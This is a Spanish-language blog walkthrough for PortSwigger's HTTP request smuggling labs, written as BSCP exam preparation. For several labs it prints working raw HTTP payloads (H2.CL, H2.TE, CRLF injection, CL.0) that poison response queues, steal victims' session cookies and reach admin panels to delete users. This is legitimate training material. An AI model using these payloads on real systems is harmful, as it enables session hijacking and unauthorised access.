¡Hola a todos! Aquí estamos de nuevo y esta vez seguimos preparando la certificación Burp Suite Certified Professional (BSCP), que proporciona una base muy buena de cara a auditorías web y gestión de la presión, sobre todo en el examen para el cual te proporcionan 4 horas y hay que explotar hasta 6 vulnerabilidades. Además, se trata de un examen muy barato (<100€) lo que la hace sumamente atractiva.

Antes de nada, recordad que PortSwigger nos permite probar 30 días su versión profesional de Burp Suite. Os recomendamos que activéis esta versión para poder probar todas las funcionalidades de la herramienta.

En esta entrada explicaremos y solucionaremos todos los laboratorios relativos a HTTP Request Smuggling. Hay muchos walkthroughs sobre cómo resolver estos laboratorios, pero exponerlos aquí nos sirve para afianzar conceptos y enseñaros además algunos trucos de uso de Burp Suite Professional, así como comentar veces que hemos visto las vulnerabilidades estudiadas en los laboratorios en la vida real. Sin más dilación, ¡comenzamos!

Para que esta vulnerabilidad tenga éxito o esté presente, como veremos, hace falta que exista un frontal web y un backend o un sistema intermediario similar. Esto es, hace falta que nuestras peticiones se sincronicen de algún modo para que al llegar al backend podamos desincronizarlas. Esto no siempre es la arquitectura utilizada, por lo que en la vida real no es muy habitual encontrarse esta vulnerabilidad, aunque sus resultados en caso de hacerlo son devastadores.

Lab1 (Practicioner) – H2.CL request smuggling

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, perform a request smuggling attack that causes the victim’s browser to load and execute a malicious JavaScript file from the exploit server, calling alert(document.cookie). The victim user accesses the home page every 10 seconds.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para forzar la carga de un script malicioso.

Comenzamos mapeando la superficie de exposición de la aplicación y vemos que es vulnerable a HTTP Request Smuggling de manera muy simple. Enviando esta petición dos veces, vemos que la segunda petición da un error debido a haber incluido contenido de la primera. Además, sabemos que estamos ante una situación H2.CL porque el frontal hace uso de HTTP/2, mientras que hace downgrade para pasarlo al backend. Recuerda deshabilitar la actualización del campo Content-Length automática de Burp:

POST / HTTP/2
Host: 0a05000904f0fa58802e3f4b00dc00f3.web-security-academy.net
Content-Length: 0

SMUGGLED

Enumeramos ahora una regla de redirección.

https://0a05000904f0fa58802e3f4b00dc00f3.web-security-academy.net/resources => https://0a05000904f0fa58802e3f4b00dc00f3.web-security-academy.net/resources/

Dado que podemos hacer HTTP Request Smuggling y que, además, algunas rutas tienen reglas de redirección, intentamos explotar esto con el objetivo de que la víctima ejecute la petición al recurso «/resources» pero con una cabecera «Host» fraudulenta. Para ello, utilizamos el siguiente payload:

POST / HTTP/2
Host: 0a05000904f0fa58802e3f4b00dc00f3.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: exploit-0aa800230455fae380b23e9c01170057.exploit-server.net
Content-Length: 5

x=1

Lanzamos dos veces la petición y vemos cómo se intenta acceder al «Exploit Server», haciendo caso de la cabecera «Host» maliciosa.

Por tanto, si logramos «inyectar» dicha petición para que la víctima la ejecute, lograremos que ejecute el código que almacenemos en el recurso «/resources» de nuestro «Exploit Server». Almacenamos en él el siguiente payload:

alert(document.cookie)

Y, finalmente, lanzamos repetidas veces la petición hasta resolver el laboratorio. Debemos lanzarlo repetidas veces ya que necesitamos adecuar el timing para que el usuario justamente cargue «/resources» cuando nosotros estemos ejecutando el ataque. Es simplemente una cuestión de «suerte», pero deberías resolver el laboratorio lanzando la petición sistemáticamente.

Lab2 (Practicioner) – Response queue poisoning via H2.TE request smuggling

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, delete the user carlos by using response queue poisoning to break into the admin panel at /admin. An admin user will log in approximately every 15 seconds.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para obtener respuestas de otros usuarios.

Comenzamos, como siempre, intentando confirmar la vulnerabilidad de HTTP Request Smuggling enviando dos veces la siguiente petición:

POST / HTTP/2
Host: 0aca00f6039ad51281c125ed00e60018.web-security-academy.net
Transfer-Encoding: chunked

0

SMUGGLED

En este laboratorio, lo que trataremos no es de ejecutar una petición smuggled a la que se añade el contenido de la petición nueva que llega. Lo que queremos es incluir una petición por el medio, de modo que la respuesta que nos llegue a las nuevas peticiones siempre sea la respuesta a la petición N-1. Esto es, que el frontal pierda la sincronización entre peticiones y respuestas ya que él solo ve X peticiones cuando el backend ve X+1. Para ello, basta con construir el payload con longitudes adecuadas (fíjate en el salto de línea final).

POST /noexiste HTTP/2
Host: 0aca00f6039ad51281c125ed00e60018.web-security-academy.net
Content-Type: x-www-form-urlencoded\r\n
Transfer-Encoding: chunked

0

GET /noexiste HTTP/1.1
Host: 0aca00f6039ad51281c125ed00e60018.web-security-academy.net

Como se puede apreciar, lanzar la petición no tiene un efecto claro en la web. Esto es esperable, pero ahora hemos metido un segundo GET que hace perder toda la sincronización. Gracias a ello, si enviamos tras esta petición nuevas peticiones a recursos no existentes, veremos que de vez en cuando obtenemos respuestas (esto es ilógico, ya que deberíamos obtener un not found). Esto es porque estamos leyendo la respuesta N-1 del servidor, cuando nuestra petición fue la N.

Eventualmente, recibirás una respuesta que era para el usuario administrador. Si no la recibes, lanza de nuevo el ataque tras 10-15 intentos, ya que se «resetea» la conexión. Esto, de nuevo, es cuestión de «suerte» y de intentarlo varias veces. La respuesta es un código 302 con su cookie de sesión:

Finalmente, puedes usar la cookie de sesión para enumerar el panel de administración y borrar el usuario de «carlos» fácilmente:

Lab3 (Practicioner) – HTTP/2 request smuggling via CRLF injection

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, use an HTTP/2-exclusive request smuggling vector to gain access to another user’s account. The victim accesses the home page every 15 seconds.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para obtener respuestas de otros usuarios.

Comenzamos con la búsqueda de un parámetro donde podamos observar su reflejo en la respuesta. Claramente, la función de búsqueda es un objetivo plausible ya que guarda y devuelve información sobre las búsquedas anteriores para cada usuario:

Además de lo anterior, probamos que la aplicación es vulnerable a HTTP Request Smuggling a través de la inyección de CRLF en cabeceras arbitrarias. Para ello, usamos el editor HTTP/2 de Burp Suite, confirmando este punto:

Se puede ver cómo al enviar dos veces la petición, recibimos la respuesta de «not found» característica. Ahora, simplemente, nos queda inyectar la petición que queremos que se ejecute cuando la víctima acceda. Adaptamos el payload:

0

POST / HTTP/1.1
Host: 0ae6008e035d110e803c0336002500c0.web-security-academy.net
Cookie: session=p1hJqcW7KhAURehScreOaBFfIaBptwY6
Content-Type: application/x-www-form-urlencoded
Content-Length: 900

search=randomsearch

Lanzamos la petición y esperamos a que la víctima acceda dándole 15-20 segundos. Tras ello, revisamos nuestros criterios de búsqueda para ver si vemos su sesión (puede que tengas que jugar con el Content-Length para hacer visible más parte de petición del usuario).

Ya tenemos las cookies de la víctima. Ahora, únicamente, tenemos que lanzar una petición con dicha sesión para resolver el laboratorio.

Lab4 (Practicioner) – HTTP/2 request splitting via CRLF injection

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, delete the user carlos by using response queue poisoning to break into the admin panel at /admin. An admin user will log in approximately every 10 seconds.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para lograr acceso al panel de administración.

Comenzamos la aplicación evaluando si es vulnerable a HTTP Request Smuggling vía splitting de peticiones. Para ello, manipulamos las cabeceras HTTP/2 tal como vemos en la siguiente figura, inyectando el contenido en la cabecera «Foo», de modo que al pasar a HTTP/1.1, la petición se convierta en 2.

Tras enviar dos veces la petición, confirmamos la vulnerabilidad:

Con el payload anterior, conseguimos a su vez que el frontal y el backend pierdan la sincronización. Esto es porque la petición inyectada en la cabecera «Foo» es completa y, por tanto, el frontal verá solo una petición (la HTTP/2) mientras que el backend ve dos peticiones. Gracias a ello, si lanzamos la petición maliciosa de nuevo y posteriormente intentamos obtener un recurso no existente, de vez en cuando obtenemos respuestas aleatorias que no son para nosotros:

Como vemos, una de las respuestas capturadas es una redirección inicialmente dirigida al administrador, por lo que podemos impersonar su sesión a través de la cookie y borrar al usuario «carlos»:

Lab5 (Expert) – Bypassing access controls via HTTP/2 request tunnelling

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, access the admin panel at /admin as the administrator user and delete the user carlos.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para ejecutar el borrado de un usuario.

Al igual que en otros laboratorios, dado el nivel de este laboratorio y su potencial extensión, se decide no incluir la solución al mismo. Además, en PortSwigger está sobradamente explicado.

Lab6 (Expert) – Web cache poisoning via HTTP/2 request tunnelling

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, access the admin panel at /admin as the administrator user and delete the user carlos.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para ejecutar un ataque XSS.

Al igual que en otros laboratorios, dado el nivel de este laboratorio y su potencial extensión, se decide no incluir la solución al mismo. Además, en PortSwigger está sobradamente explicado.

Lab7 (Expert) – 0.CL request smuggling

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, exploit the vulnerability to execute alert() in his browser.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para ejecutar un ataque XSS.

Al igual que en otros laboratorios, dado el nivel de este laboratorio y su potencial extensión, se decide no incluir la solución al mismo. Además, en PortSwigger está sobradamente explicado.

Lab8 (Practicioner) – CL.0 request smuggling

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, identify a vulnerable endpoint, smuggle a request to the back-end to access to the admin panel at /admin, then delete the user carlos.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para acceder al panel de administración.

Comenzamos el laboratorio confirmando la vulnerabilidad. Dado que en este caso el frontal hace uso de la cabecera Content-Length pero el backend no, necesitaremos como objetivo una petición POST pero cuyo cuerpo no sea esperado. Un buen objetivo para esto son peticiones a recursos estáticos. Tenemos, por tanto, las dos siguientes peticiones:

POST /resources/images/blog.svg HTTP/1.1
Host: 0ab900ff04949eac828751c7000a0073.web-security-academy.net
Cookie: session=os768Zp1uDfEXhkXU6KIbcEoPXhYnMhc
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

GET /404 HTTP/1.1
Foo: x

GET / HTTP/1.1
Host: 0ab900ff04949eac828751c7000a0073.web-security-academy.net
Cookie: session=os768Zp1uDfEXhkXU6KIbcEoPXhYnMhc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Pragma: no-cache
Cache-Control: no-cache
Te: trailers
Connection: keep-alive

Agrupamos las peticiones y las enviamos por la misma conexión. Tal como podemos ver, logramos hacer HTTP Request Smuggling:

Finalmente, dado que queremos acceder al panel de administración, adaptamos el payload principal de la petición smuggled para ello. Lo hacemos obviamente en dos peticiones, una para conocer lo que hay en «/admin» y otra para resolver el laboratorio:

POST /resources/images/blog.svg HTTP/1.1
Host: 0ab900ff04949eac828751c7000a0073.web-security-academy.net
Cookie: session=os768Zp1uDfEXhkXU6KIbcEoPXhYnMhc
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

GET /admin HTTP/1.1
Foo: x

POST /resources/images/blog.svg HTTP/1.1
Host: 0ab900ff04949eac828751c7000a0073.web-security-academy.net
Cookie: session=os768Zp1uDfEXhkXU6KIbcEoPXhYnMhc
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

GET /admin/delete?username=carlos HTTP/1.1
Foo: x

Lab9 (Expert) – Client-side desync

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, you must perform several steps.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para que sea ejecutado client-side.

Al igual que en otros laboratorios, dado el nivel de este laboratorio y su potencial extensión, se decide no incluir la solución al mismo. Además, en PortSwigger está sobradamente explicado.

Lab10 (Expert) – Server-side pause-based request smuggling

Lo primero de todo, lanzamos el laboratorio y configuramos en la pestaña «Scope» para que solamente se capturen peticiones a dicha web, ya que es la que tenemos bajo alcance. Esto es muy recomendable siempre en auditorías reales, pues se eliminará todo el ruido del navegador y nos centraremos solo en lo realmente importante: el alcance de la auditoría.

En segundo lugar, tomemos como referencia el objetivo que nos proponen: «To solve the lab, identify a pause-based CL.0 desync vector, smuggle a request to the back-end to the admin panel at /admin, then delete the user carlos.». En este laboratorio el objetivo es explotar una vulnerabilidad de HTTP Request Smuggling para acceder al panel de administración.

Al igual que en otros laboratorios, dado el nivel de este laboratorio y su potencial extensión, se decide no incluir la solución al mismo. Además, en PortSwigger está sobradamente explicado.

~km0xu95